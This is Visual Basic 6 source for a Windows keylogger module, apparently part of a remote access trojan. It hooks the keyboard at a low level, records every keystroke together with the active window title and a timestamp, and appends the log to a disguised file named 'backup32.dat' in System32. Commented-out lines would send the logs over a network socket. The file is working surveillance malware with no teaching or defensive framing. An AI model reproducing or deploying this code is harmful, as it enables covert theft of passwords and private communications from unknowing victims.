Option Explicit
 
Private Type KBDLLHOOKSTRUCT
code As Long
End Type
 
Public Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Public Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
 
Private Const WH_KEYBOARD_LL = 13&
Private Const WM_KEYDOWN = &H100
Private Const VK_SHIFT = &H10
Private Const VK_CAPITAL = &H14
Private Const READ_CONTROL As Long = &H20000
Private Const STANDARD_RIGHTS_WRITE As Long = (READ_CONTROL)
Private Const KEY_SET_VALUE As Long = &H2
Private Const KEY_CREATE_SUB_KEY As Long = &H4
Private Const SYNCHRONIZE As Long = &H100000
Private Const KEY_WRITE As Long = ((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Private Const HKEY_LOCAL_MACHINE As Long = &H80000002
Private Const REG_SZ As Long = 1
 
Dim hook As Long
Dim titulo As String
Dim ultima As String
Dim strInfo As String
Dim ruta As String
Dim handle As Long, ln As Long
Dim i As Integer
Dim hookKey As KBDLLHOOKSTRUCT
Dim intercept As Boolean
Dim keyCode As Long
Dim tec As String
Public socketconnected As Boolean
 
 
Public Function KeyboardProc(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
 
If wParam = WM_KEYDOWN Then
    Call CopyMemory(hookKey, ByVal lParam, Len(hookKey))
    keyCode = hookKey.code
 
    Select Case keyCode
        Case 8
            tec = tec & "{BACK}"
        Case 9
            tec = tec & "{TAB}"
        Case 17
            tec = tec & "{CTRL}"
        Case 18
            tec = tec & "{ALT}"
        Case 32
            tec = tec & " "
        Case 35
            tec = tec & "{END}"
        Case 36
            tec = tec & "{HOME}"
        Case 46
            tec = tec & "{DEL}"
        Case 91
            tec = tec & "{LWIN}"
        Case 92
            tec = tec & "{RWIN}"
        Case 96
            tec = tec & "0"
        Case 97
            tec = tec & "1"
        Case 98
            tec = tec & "2"
        Case 99
            tec = tec & "3"
        Case 100
            tec = tec & "4"
        Case 101
            tec = tec & "5"
        Case 102
            tec = tec & "6"
        Case 103
            tec = tec & "7"
        Case 104
            tec = tec & "8"
        Case 105
            tec = tec & "9"
        Case 106
            tec = tec & "*"
        Case 107
            tec = tec & "+"
        Case 109
            tec = tec & "-"
        Case 110
            tec = tec & "."
        Case 111
            tec = tec & "/"
        Case 112
            tec = tec & "{F1}"
        Case 113
            tec = tec & "{F2}"
        Case 114
            tec = tec & "{F3}"
        Case 115
            tec = tec & "{F4}"
        Case 116
            tec = tec & "{F5}"
        Case 117
            tec = tec & "{F6}"
        Case 118
            tec = tec & "{F7}"
        Case 119
            tec = tec & "{F8}"
        Case 120
            tec = tec & "{F9}"
        Case 121
            tec = tec & "{F10}"
        Case 122
            tec = tec & "{F11}"
        Case 123
            tec = tec & "{F12}"
        Case 186
            tec = tec & ";"
        Case 187
            tec = tec & "="
        Case 188
            tec = tec & ","
        Case 189
            tec = tec & "-"
        Case 190
            tec = tec & "."
        Case 191
            tec = tec & "/"
        Case 192
            tec = tec & " "
        Case 219
            tec = tec & "["
        Case 220
            tec = tec & "\"
        Case 221
            tec = tec & "["
        Case 222
            tec = tec & "'"
    End Select
 
    If (keyCode >= 48 And keyCode <= 57) Or (keyCode >= 65 And keyCode <= 90) Then
        If GetAsyncKeyState(VK_SHIFT) < 0 Then
            If GetKeyState(VK_CAPITAL) > 0 Then
                tec = tec & LCase(Chr(keyCode))
            Else
            tec = tec & UCase(Chr(keyCode))
            End If
        Else
            If GetKeyState(VK_CAPITAL) > 0 Then
                tec = tec & UCase(Chr(keyCode))
            Else
                tec = tec & LCase(Chr(keyCode))
            End If
 
        End If
 
    ElseIf keyCode = 13 Then
        tec = tec & vbNewLine
    End If
End If
 
KeyboardProc = CallNextHookEx(hook, ncode, wParam, lParam)
 
End Function
 
Public Function KeyboardHook()
hook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KeyboardProc, App.hInstance, 0&)
End Function
 
Public Function Unhook()
Call UnhookWindowsHookEx(hook)
hook = 0
Unhook = 1
End Function
 
Public Function Capturar()
ruta = System32 & "\backup32.dat"
 
Open ruta For Input As #1
Dim Datos As String
Get #1, , Datos
Close #1
 
Dim myTimer
myTimer = SetTimer(0, 0, 1, AddressOf TimerProc)
Call KeyboardHook
End Function
 
Private Sub TimerProc(ByVal hwnd As Long, ByVal lMsg As Long, ByVal lTimerID As Long, ByVal lTimer As Long)
ultima = titulo
handle = GetForegroundWindow
ln = GetWindowTextLength(handle)
titulo = String(ln, Chr$(0))
GetWindowText handle, titulo, ln + 1
 
If titulo <> ultima And ultima <> "" And tec <> "" Then
    GuardarDatos (tec)
    tec = ""
End If
 
End Sub
 
Private Function GuardarDatos(tec As String)
If socketconnected = True Then
 
    'Open ruta For Input As #1
    'Dim Datos As String
    'Datos = Space(LOF(1))
    'Get #1, , Datos
    'Close #1
    'If Datos <> "" Then
    'Envia "DatKey|" + Datos
    'End If
    'Envia "DatKey|" + "[+]" + "[" + Date$ + "]" + "[" + Time$ + "]" + ultima + ":" + vbNewLine + tec
Else
    Open ruta For Append As #1
    Print #1, "[+]" + "[" + Date$ + "]" + "[" + Time$ + "]" + ultima + ":" + vbNewLine + tec
    Close #1
End If
End Function
 
Public Function NoCapturar()
Unhook
hook = 0
End Function